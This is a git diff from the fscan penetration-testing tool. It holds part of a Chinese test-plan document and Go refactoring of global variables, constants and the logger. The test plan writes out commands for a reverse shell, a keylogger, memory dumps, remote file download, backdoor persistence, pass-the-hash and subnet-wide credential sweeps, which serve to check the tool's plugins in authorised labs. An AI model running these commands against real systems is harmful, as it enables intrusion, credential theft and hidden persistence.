|
**验证标准:**
|
||||||
|
- [ ] 收集操作系统信息
|
||||||
|
- [ ] 枚举环境变量
|
||||||
|
- [ ] 查找敏感文件
|
||||||
|
- [ ] 识别域环境
|
||||||
|
|
||||||
|
### 3.2 服务和进程管理
|
||||||
|
```bash
|
||||||
|
# Windows服务管理
|
||||||
|
./fscan -local winservice
|
||||||
|
|
||||||
|
# 系统服务管理(Linux)
|
||||||
|
./fscan -local systemdservice
|
||||||
|
|
||||||
|
# 计划任务(Windows)
|
||||||
|
./fscan -local winschtask
|
||||||
|
|
||||||
|
# Cron任务(Linux)
|
||||||
|
./fscan -local crontask
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 枚举运行服务
|
||||||
|
- [ ] 识别计划任务
|
||||||
|
- [ ] 显示服务详细信息
|
||||||
|
- [ ] 检测异常服务
|
||||||
|
|
||||||
|
### 3.3 持久化和后门
|
||||||
|
```bash
|
||||||
|
# Windows启动项
|
||||||
|
./fscan -local winstartup
|
||||||
|
|
||||||
|
# 注册表查询
|
||||||
|
./fscan -local winregistry
|
||||||
|
|
||||||
|
# LD_PRELOAD后门
|
||||||
|
./fscan -local ldpreload
|
||||||
|
|
||||||
|
# Shell环境后门
|
||||||
|
./fscan -local shellenv
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.4 网络和通信
|
||||||
|
```bash
|
||||||
|
# 反弹Shell
|
||||||
|
./fscan -local reverseshell -rsh 192.168.1.100:4444
|
||||||
|
|
||||||
|
# 正向Shell服务器
|
||||||
|
./fscan -local forwardshell -fsh-port 4444
|
||||||
|
|
||||||
|
# SOCKS5代理
|
||||||
|
./fscan -local socks5proxy -start-socks5 1080
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.5 高级功能
|
||||||
|
```bash
|
||||||
|
# 键盘记录
|
||||||
|
./fscan -local keylogger -keylog-output keylog.txt
|
||||||
|
|
||||||
|
# 内存转储
|
||||||
|
./fscan -local minidump
|
||||||
|
|
||||||
|
# 杀毒软件检测
|
||||||
|
./fscan -local avdetect
|
||||||
|
|
||||||
|
# 系统清理
|
||||||
|
./fscan -local cleaner
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.6 文件操作
|
||||||
|
```bash
|
||||||
|
# 文件下载
|
||||||
|
./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe"
|
||||||
|
|
||||||
|
# 持久化文件植入(Linux)
|
||||||
|
./fscan -local persistence -persistence-file "/tmp/backdoor.elf"
|
||||||
|
|
||||||
|
# 持久化文件植入(Windows)
|
||||||
|
./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 综合测试场景
|
||||||
|
|
||||||
|
### 4.1 内网渗透场景
|
||||||
|
```bash
|
||||||
|
# 完整内网扫描
|
||||||
|
./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432
|
||||||
|
|
||||||
|
# 禁用ping的扫描
|
||||||
|
./fscan -h 192.168.1.0/24 -np
|
||||||
|
|
||||||
|
# 指定线程数的大规模扫描
|
||||||
|
./fscan -h 10.0.0.0/16 -t 1000 -mt 100
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.2 外网侦察场景
|
||||||
|
```bash
|
||||||
|
# 存活探测
|
||||||
|
./fscan -h target.com -ao
|
||||||
|
|
||||||
|
# Web应用测试
|
||||||
|
./fscan -h target.com -fp -full
|
||||||
|
|
||||||
|
# 特定端口扫描
|
||||||
|
./fscan -h target.com -p 80,443,8080,8443,8888
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.3 横向移动场景
|
||||||
|
```bash
|
||||||
|
# 凭据重用测试
|
||||||
|
./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123"
|
||||||
|
|
||||||
|
# 哈希传递攻击
|
||||||
|
./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 输出和日志测试
|
||||||
|
|
||||||
|
### 5.1 输出格式测试
|
||||||
|
```bash
|
||||||
|
# 文本格式输出
|
||||||
|
./fscan -h target -o result.txt -f txt
|
||||||
|
|
||||||
|
# JSON格式输出
|
||||||
|
./fscan -h target -o result.json -f json
|
||||||
|
|
||||||
|
# CSV格式输出
|
||||||
|
./fscan -h target -o result.csv -f csv
|
||||||
|
|
||||||
|
# 禁用文件输出
|
||||||
|
./fscan -h target -no
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.2 日志级别测试
|
||||||
|
```bash
|
||||||
|
# 详细日志
|
||||||
|
./fscan -h target -log all
|
||||||
|
|
||||||
|
# 仅基础信息
|
||||||
|
./fscan -h target -log base
|
||||||
|
|
||||||
|
# 静默模式
|
||||||
|
./fscan -h target -silent
|
||||||
|
|
||||||
|
# 无颜色输出
|
||||||
|
./fscan -h target -nocolor
|
||||||
|
|
||||||
|
# 无进度条
|
||||||
|
./fscan -h target -nopg
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 性能和稳定性测试
|
||||||
|
|
||||||
|
### 6.1 高并发测试
|
||||||
|
```bash
|
||||||
|
# 最大线程测试
|
||||||
|
./fscan -h 192.168.1.0/24 -t 2000 -mt 200
|
||||||
|
|
||||||
|
# 超时控制测试
|
||||||
|
./fscan -h target -time 10 -wt 30 -gt 300
|
||||||
|
|
||||||
|
# 重试机制测试
|
||||||
|
./fscan -h unreachable_target -retry 5
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.2 大规模目标测试
|
||||||
|
```bash
|
||||||
|
# C类网段扫描
|
||||||
|
./fscan -h 192.168.1.0/24
|
||||||
|
|
||||||
|
# B类网段扫描(谨慎使用)
|
||||||
|
./fscan -h 10.0.0.0/16 -t 1000
|
||||||
|
|
||||||
|
# 文件批量目标
|
||||||
|
echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt
|
||||||
|
./fscan -hf targets.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 代理和网络测试
|
||||||
|
|
||||||
|
### 7.1 HTTP代理测试
|
||||||
|
```bash
|
||||||
|
# HTTP代理
|
||||||
|
./fscan -h target -proxy http://127.0.0.1:8080
|
||||||
|
|
||||||
|
# SOCKS5代理
|
||||||
|
./fscan -h target -socks5 127.0.0.1:1080
|
||||||
|
|
||||||
|
# 组合使用
|
||||||
|
./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.2 DNS和网络配置
|
||||||
|
```bash
|
||||||
|
# DNS日志记录
|
||||||
|
./fscan -h target.com -dns
|
||||||
|
|
||||||
|
# 用户代理自定义
|
||||||
|
./fscan -u "http://target" -cookie "custom=value"
|
||||||
|
|
||||||
|
# 域环境扫描
|
||||||
|
./fscan -h target -domain corp.local
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 错误处理和边界测试
|
||||||
|
|
||||||
|
### 8.1 错误输入测试
|
||||||
|
```bash
|
||||||
|
# 无效目标
|
||||||
|
./fscan -h "invalid_host"
|
||||||
|
|
||||||
|
# 无效端口
|
||||||
|
./fscan -h 127.0.0.1 -p 99999
|
||||||
|
|
||||||
|
# 无效插件
|
||||||
|
./fscan -h 127.0.0.1 -m nonexistent_plugin
|
||||||
|
|
||||||
|
# 无效文件路径
|
||||||
|
./fscan -hf /nonexistent/file.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### 8.2 资源限制测试
|
||||||
|
```bash
|
||||||
|
# 内存使用测试(大目标列表)
|
||||||
|
./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个
|
||||||
|
|
||||||
|
# 磁盘空间测试(大输出文件)
|
||||||
|
./fscan -h large_network -o /tmp/large_result.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 验证清单
|
||||||
|
|
||||||
|
### 9.1 功能完整性检查
|
||||||
|
- [ ] 所有服务插件都能正常加载和执行
|
||||||
|
- [ ] Web插件能正确处理HTTP/HTTPS协议
|
||||||
|
- [ ] 本地插件能在对应操作系统上正常运行
|
||||||
|
- [ ] 输出格式正确且完整
|
||||||
|
- [ ] 日志记录准确无误
|
||||||
|
|
||||||
|
### 9.2 稳定性检查
|
||||||
|
- [ ] 长时间运行无内存泄漏
|
||||||
|
- [ ] 高并发场景下无崩溃
|
||||||
|
- [ ] 网络异常时能优雅处理
|
||||||
|
- [ ] 错误输入不会导致程序异常退出
|
||||||
|
|
||||||
|
### 9.3 安全性检查
|
||||||
|
- [ ] 本地插件不会误伤测试环境
|
||||||
|
- [ ] 网络扫描遵循配置的限制
|
||||||
|
- [ ] 敏感信息正确处理(不明文显示密码等)
|
||||||
|
- [ ] 代理配置正确工作
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 测试报告模板
|
||||||
|
|
||||||
|
### 测试执行记录
|
||||||
|
```
|
||||||
|
测试日期:____________________
|
||||||
|
测试环境:____________________
|
||||||
|
Fscan版本:____________________
|
||||||
|
Go版本:______________________
|
||||||
|
|
||||||
|
插件测试结果:
|
||||||
|
□ 服务插件 (____/25 通过)
|
||||||
|
□ Web插件 (____/2 通过)
|
||||||
|
□ 本地插件 (____/20 通过)
|
||||||
|
|
||||||
|
性能测试结果:
|
||||||
|
□ 并发性能测试通过
|
||||||
|
□ 内存使用测试通过
|
||||||
|
□ 网络异常处理测试通过
|
||||||
|
|
||||||
|
发现的问题:
|
||||||
|
1. ________________________
|
||||||
|
2. ________________________
|
||||||
|
3. ________________________
|
||||||
|
|
||||||
|
测试建议:
|
||||||
|
1. ________________________
|
||||||
|
2. ________________________
|
||||||
|
3. ________________________
|
||||||
|
|
||||||
|
测试人员签名:____________________
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附录
|
||||||
|
|
||||||
|
### A. Docker测试环境快速部署脚本
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
# 快速部署测试服务脚本
|
||||||
|
echo "部署MySQL..."
|
||||||
|
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
|
||||||
|
|
||||||
|
echo "部署Redis..."
|
||||||
|
docker run -d --name redis-test -p 6379:6379 redis:alpine
|
||||||
|
|
||||||
|
echo "部署PostgreSQL..."
|
||||||
|
docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
|
||||||
|
|
||||||
|
echo "部署SSH..."
|
||||||
|
docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
|
||||||
|
|
||||||
|
echo "测试服务部署完成!"
|
||||||
|
```
|
||||||
|
|
||||||
|
### B. 清理测试环境脚本
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
# 清理测试容器
|
||||||
|
docker stop mysql-test redis-test postgres-test ssh-test
|
||||||
|
docker rm mysql-test redis-test postgres-test ssh-test
|
||||||
|
rm -f result.* *.txt *.json *.csv keylog.txt
|
||||||
|
echo "测试环境清理完成!"
|
||||||
|
```
|
||||||
|
|
||||||
|
### C. 常用测试命令备忘
|
||||||
|
```bash
|
||||||
|
# 快速本地服务扫描
|
||||||
|
./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379
|
||||||
|
|
||||||
|
# 完整功能测试
|
||||||
|
./fscan -h 127.0.0.1 -fp -full -log all
|
||||||
|
|
||||||
|
# 性能基准测试
|
||||||
|
time ./fscan -h 192.168.1.0/24 -t 500
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**注意事项:**
|
||||||
|
1. 本测试文档仅用于授权的安全测试环境
|
||||||
|
2. 禁止在生产环境或未授权系统上执行测试
|
||||||
|
3. 部分本地插件可能需要管理员权限
|
||||||
|
4. 测试过程中请备份重要数据
|
||||||
|
5. 如发现安全漏洞,请负责任地披露
|
||||||
|
|
||||||
|
**版本:** v1.0
|
||||||
|
**更新日期:** 2025-09-02
|
||||||
|
**适用于:** Fscan v2.2.1
|
@ -3,8 +3,7 @@ package common
|
|||||||
/*
|
/*
|
||||||
common.go - 简化的统一入口
|
common.go - 简化的统一入口
|
||||||
|
|
||||||
移除所有向后兼容层,提供清晰的模块化接口。
|
直接导出核心功能,移除base包依赖。
|
||||||
直接导出各子模块的核心功能,避免代码债务。
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@ -15,35 +14,24 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common/base"
|
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
"github.com/shadow1ng/fscan/common/proxy"
|
"github.com/shadow1ng/fscan/common/proxy"
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 核心类型导出 - 直接从core模块导出
|
// 核心类型导出 - 直接定义,不再通过base包
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
type HostInfo = base.HostInfo
|
// 类型现已直接定义在types.go中:
|
||||||
type ScanPlugin = base.ScanPlugin
|
// type HostInfo
|
||||||
|
// type ScanPlugin
|
||||||
|
|
||||||
// 插件类型常量
|
// 插件类型常量现已直接定义在constants.go中:
|
||||||
const (
|
// const PluginTypeWeb, PluginTypeLocal
|
||||||
PluginTypeWeb = base.PluginTypeWeb
|
|
||||||
PluginTypeLocal = base.PluginTypeLocal
|
|
||||||
)
|
|
||||||
|
|
||||||
// 全局插件管理器
|
// 简化的插件管理器 - 移除复杂的base.LegacyPluginManager
|
||||||
var PluginManager = base.LegacyPluginManager
|
var PluginManager = make(map[string]ScanPlugin)
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 核心功能导出 - 直接调用对应模块
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
|
||||||
|
|
||||||
// GetGlobalPluginManager 函数已删除(死代码清理)
|
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 日志系统简化接口
|
// 日志系统简化接口
|
||||||
@ -66,9 +54,7 @@ func getGlobalLogger() *logging.Logger {
|
|||||||
StartTime: StartTime,
|
StartTime: StartTime,
|
||||||
}
|
}
|
||||||
globalLogger = logging.NewLogger(config)
|
globalLogger = logging.NewLogger(config)
|
||||||
if ProgressBar != nil {
|
// ProgressBar设置已简化
|
||||||
globalLogger.SetProgressBar(ProgressBar)
|
|
||||||
}
|
|
||||||
globalLogger.SetOutputMutex(&OutputMutex)
|
globalLogger.SetOutputMutex(&OutputMutex)
|
||||||
|
|
||||||
// 设置协调输出函数,使用LogWithProgress
|
// 设置协调输出函数,使用LogWithProgress
|
||||||
@ -232,4 +218,4 @@ func WrapperTlsWithContext(ctx context.Context, network, address string, config
|
|||||||
// CheckErrs 检查单个错误 - 简化版本
|
// CheckErrs 检查单个错误 - 简化版本
|
||||||
func CheckErrs(err error) error {
|
func CheckErrs(err error) error {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
@ -1,13 +1,13 @@
|
|||||||
package base
|
package common
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Constants.go - 核心常量定义
|
constants.go - 核心常量定义
|
||||||
|
|
||||||
整合Ports.go等常量文件,统一管理所有核心常量。
|
直接定义所有常量,消除base包的间接层。
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 端口常量 (从Ports.go迁移)
|
// 端口常量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// 预定义端口组常量
|
// 预定义端口组常量
|
||||||
@ -39,3 +39,16 @@ const (
|
|||||||
DefaultLanguage = "zh" // 默认语言
|
DefaultLanguage = "zh" // 默认语言
|
||||||
DefaultLogLevel = "base" // 默认日志级别
|
DefaultLogLevel = "base" // 默认日志级别
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 插件类型常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
PluginTypeService = "service" // 服务类型插件
|
||||||
|
PluginTypeWeb = "web" // Web类型插件
|
||||||
|
PluginTypeLocal = "local" // 本地类型插件
|
||||||
|
PluginTypeBrute = "brute" // 暴力破解插件
|
||||||
|
PluginTypePoc = "poc" // POC验证插件
|
||||||
|
PluginTypeScan = "scan" // 扫描探测插件
|
||||||
|
)
|
@ -7,11 +7,10 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/fatih/color"
|
"github.com/fatih/color"
|
||||||
"github.com/shadow1ng/fscan/common/config"
|
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
|
// Flag专用变量 (只在flag.go中使用的变量,globals.go中已定义的不重复声明)
|
||||||
var (
|
var (
|
||||||
ExcludeHosts string
|
ExcludeHosts string
|
||||||
Ports string
|
Ports string
|
||||||
@ -20,9 +19,6 @@ var (
|
|||||||
HostsFile string
|
HostsFile string
|
||||||
PortsFile string
|
PortsFile string
|
||||||
|
|
||||||
// 本地插件列表(由外部初始化)
|
|
||||||
LocalPluginsList []string
|
|
||||||
|
|
||||||
ModuleThreadNum int
|
ModuleThreadNum int
|
||||||
GlobalTimeout int64
|
GlobalTimeout int64
|
||||||
EnableFingerprint bool
|
EnableFingerprint bool
|
||||||
@ -33,19 +29,15 @@ var (
|
|||||||
PasswordsFile string
|
PasswordsFile string
|
||||||
HashFile string
|
HashFile string
|
||||||
HashValue string
|
HashValue string
|
||||||
Domain string
|
|
||||||
SshKeyPath string
|
|
||||||
|
|
||||||
TargetURL string
|
TargetURL string
|
||||||
URLsFile string
|
URLsFile string
|
||||||
Cookie string
|
Cookie string
|
||||||
WebTimeout int64
|
|
||||||
UserAgent string
|
UserAgent string
|
||||||
Accept string
|
Accept string
|
||||||
|
|
||||||
PocPath string
|
PocPath string
|
||||||
PocFull bool
|
PocFull bool
|
||||||
DnsLog bool
|
|
||||||
PocNum int
|
PocNum int
|
||||||
DisablePocScan bool
|
DisablePocScan bool
|
||||||
|
|
||||||
@ -55,32 +47,14 @@ var (
|
|||||||
RedisWriteContent string
|
RedisWriteContent string
|
||||||
RedisWriteFile string
|
RedisWriteFile string
|
||||||
|
|
||||||
DisableBrute bool
|
|
||||||
MaxRetries int
|
|
||||||
|
|
||||||
DisableSave bool
|
|
||||||
Silent bool
|
|
||||||
DisableProgress bool
|
|
||||||
|
|
||||||
Shellcode string
|
|
||||||
|
|
||||||
// 反弹Shell相关变量
|
// 反弹Shell相关变量
|
||||||
ReverseShellTarget string
|
ReverseShellTarget string
|
||||||
ReverseShellActive bool // 反弹Shell是否处于活跃状态
|
|
||||||
|
|
||||||
// SOCKS5代理相关变量
|
// SOCKS5代理相关变量
|
||||||
Socks5ProxyPort int // SOCKS5代理监听端口
|
Socks5ProxyPort int // SOCKS5代理监听端口
|
||||||
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
|
|
||||||
|
|
||||||
// 正向Shell相关变量
|
// 正向Shell相关变量
|
||||||
ForwardShellPort int // 正向Shell监听端口
|
ForwardShellPort int // 正向Shell监听端口
|
||||||
ForwardShellActive bool // 正向Shell是否处于活跃状态
|
|
||||||
|
|
||||||
// Linux持久化相关变量
|
|
||||||
PersistenceTargetFile string // 持久化目标文件路径
|
|
||||||
|
|
||||||
// Windows持久化相关变量
|
|
||||||
WinPEFile string // Windows PE文件路径
|
|
||||||
|
|
||||||
// 键盘记录相关变量
|
// 键盘记录相关变量
|
||||||
KeyloggerOutputFile string // 键盘记录输出文件
|
KeyloggerOutputFile string // 键盘记录输出文件
|
||||||
@ -96,8 +70,7 @@ var (
|
|||||||
HashBytes [][]byte
|
HashBytes [][]byte
|
||||||
)
|
)
|
||||||
|
|
||||||
// Pocinfo POC信息变量
|
// POC信息变量已在globals.go中定义,此处不重复声明
|
||||||
var Pocinfo config.PocInfo
|
|
||||||
|
|
||||||
func Banner() {
|
func Banner() {
|
||||||
// 定义暗绿色系
|
// 定义暗绿色系
|
||||||
@ -267,9 +240,6 @@ func Flag(Info *HostInfo) {
|
|||||||
// 更新进度条显示状态
|
// 更新进度条显示状态
|
||||||
ShowProgress = !DisableProgress
|
ShowProgress = !DisableProgress
|
||||||
|
|
||||||
// 同步配置到core包
|
|
||||||
SyncToCore()
|
|
||||||
|
|
||||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||||
if showHelp || shouldShowHelp(Info) {
|
if showHelp || shouldShowHelp(Info) {
|
||||||
flag.Usage()
|
flag.Usage()
|
175
common/globals.go
Normal file
175
common/globals.go
Normal file
@ -0,0 +1,175 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
globals.go - 全局配置变量
|
||||||
|
|
||||||
|
直接定义全局变量,消除base包的双重声明。
|
||||||
|
*/
|
||||||
|
|
||||||
|
var (
|
||||||
|
// =============================================================================
|
||||||
|
// 核心扫描配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
ScanMode string = DefaultScanMode // 扫描模式
|
||||||
|
ThreadNum int = DefaultThreadNum // 线程数
|
||||||
|
Timeout int64 = DefaultTimeout // 超时时间
|
||||||
|
DisablePing bool = false // 禁用ping
|
||||||
|
LocalMode bool = false // 本地模式
|
||||||
|
LocalPlugin string // 本地插件选择
|
||||||
|
AliveOnly bool // 仅存活检测
|
||||||
|
DisableBrute bool // 禁用暴力破解
|
||||||
|
MaxRetries int = 3 // 最大重试次数
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 认证相关配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
Username string // 用户名
|
||||||
|
Password string // 密码
|
||||||
|
Domain string // 域
|
||||||
|
Userdict map[string][]string // 用户字典
|
||||||
|
Passwords []string // 密码列表
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 网络配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
HttpProxy string // HTTP代理
|
||||||
|
Socks5Proxy string // SOCKS5代理
|
||||||
|
WebTimeout int64 = 5 // Web超时时间
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 文件路径
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
SshKeyPath string // SSH密钥路径
|
||||||
|
PersistenceTargetFile string // Linux持久化目标文件
|
||||||
|
WinPEFile string // Windows PE文件
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 功能开关
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
NoColor bool // 禁用颜色
|
||||||
|
Silent bool // 静默模式
|
||||||
|
DisableSave bool // 禁用保存
|
||||||
|
DisableProgress bool // 禁用进度条
|
||||||
|
Language string = DefaultLanguage // 语言
|
||||||
|
LogLevel string = DefaultLogLevel // 日志级别
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 高级功能
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
Shellcode string // Shellcode
|
||||||
|
LocalPluginsList []string // 本地插件列表
|
||||||
|
DnsLog bool // DNS日志
|
||||||
|
ForwardShellActive bool // 正向Shell状态
|
||||||
|
ReverseShellActive bool // 反向Shell状态
|
||||||
|
Socks5ProxyActive bool // SOCKS5代理状态
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 端口和服务映射
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
PortMap map[int][]string // 端口到服务映射
|
||||||
|
DefaultMap []string // 默认探测器映射
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 输出控制
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
Outputfile string = "result.txt" // 输出文件
|
||||||
|
OutputFormat string = "txt" // 输出格式
|
||||||
|
ShowProgress bool = true // 显示进度条
|
||||||
|
StartTime time.Time // 开始时间
|
||||||
|
ProgressBar interface{} // 进度条实例
|
||||||
|
OutputMutex sync.Mutex // 输出互斥锁
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 计数器
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
End int64 // 结束计数器
|
||||||
|
Num int64 // 数量计数器
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 初始化控制
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
initOnce sync.Once // 确保初始化只执行一次
|
||||||
|
)
|
||||||
|
|
||||||
|
// InitGlobalConfig 初始化全局配置
|
||||||
|
func InitGlobalConfig() {
|
||||||
|
initOnce.Do(func() {
|
||||||
|
// 初始化时间
|
||||||
|
if StartTime.IsZero() {
|
||||||
|
StartTime = time.Now()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化映射和切片
|
||||||
|
if Userdict == nil {
|
||||||
|
Userdict = make(map[string][]string)
|
||||||
|
}
|
||||||
|
if PortMap == nil {
|
||||||
|
PortMap = make(map[int][]string)
|
||||||
|
}
|
||||||
|
if DefaultMap == nil {
|
||||||
|
DefaultMap = make([]string, 0)
|
||||||
|
}
|
||||||
|
if Passwords == nil {
|
||||||
|
Passwords = make([]string, 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从config模块获取字典和映射
|
||||||
|
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
|
||||||
|
Userdict = serviceDict.GetAllUserDicts()
|
||||||
|
Passwords = serviceDict.GetPasswords()
|
||||||
|
}
|
||||||
|
|
||||||
|
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
|
||||||
|
PortMap = probeMapping.GetAllPortMappings()
|
||||||
|
DefaultMap = probeMapping.GetDefaultProbes()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 自动初始化
|
||||||
|
func init() {
|
||||||
|
InitGlobalConfig()
|
||||||
|
}
|
||||||
|
|
||||||
|
// POCInfo POC相关信息
|
||||||
|
type PocInfo struct {
|
||||||
|
Target string
|
||||||
|
PocName string
|
||||||
|
}
|
||||||
|
|
||||||
|
var Pocinfo PocInfo
|
||||||
|
|
||||||
|
// 版本信息
|
||||||
|
const version = "2.2.1"
|
||||||
|
|
||||||
|
// 日志级别常量
|
||||||
|
const (
|
||||||
|
LogLevelAll = "all"
|
||||||
|
LogLevelError = "error"
|
||||||
|
LogLevelBase = "base"
|
||||||
|
LogLevelInfo = "info"
|
||||||
|
LogLevelSuccess = "success"
|
||||||
|
LogLevelDebug = "debug"
|
||||||
|
LogLevelInfoSuccess = "info,success"
|
||||||
|
LogLevelBaseInfoSuccess = "base,info,success"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
// LogWithProgress 已在progressmanager.go中定义,此处不重复
|
@ -86,31 +86,33 @@ func (l *Logger) SetCoordinatedOutput(fn func(string)) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Log 记录日志
|
// Log 记录日志(优化版)
|
||||||
func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
|
func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
|
||||||
|
// 早期返回,避免不必要的计算
|
||||||
if !l.shouldLog(level) {
|
if !l.shouldLog(level) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 优化:只有在错误级别时才获取调用者信息,减少开销
|
||||||
|
if level == LevelError {
|
||||||
|
if _, file, line, ok := runtime.Caller(2); ok {
|
||||||
|
// 直接在content中包含位置信息,避免额外的Source字段
|
||||||
|
content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 简化entry创建,减少字段赋值
|
||||||
entry := &LogEntry{
|
entry := &LogEntry{
|
||||||
Level: level,
|
Level: level,
|
||||||
Time: time.Now(),
|
Time: time.Now(),
|
||||||
Content: content,
|
Content: content,
|
||||||
}
|
}
|
||||||
|
|
||||||
// 添加元数据
|
// 只在需要时添加元数据
|
||||||
if len(metadata) > 0 {
|
if len(metadata) > 0 && metadata[0] != nil {
|
||||||
entry.Metadata = metadata[0]
|
entry.Metadata = metadata[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
// 对于错误级别,自动添加调用者信息
|
|
||||||
if level == LevelError {
|
|
||||||
if _, file, line, ok := runtime.Caller(2); ok {
|
|
||||||
entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line)
|
|
||||||
entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
l.handleLogEntry(entry)
|
l.handleLogEntry(entry)
|
||||||
|
|
||||||
// 更新扫描状态
|
// 更新扫描状态
|
||||||
@ -121,33 +123,32 @@ func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]inte
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
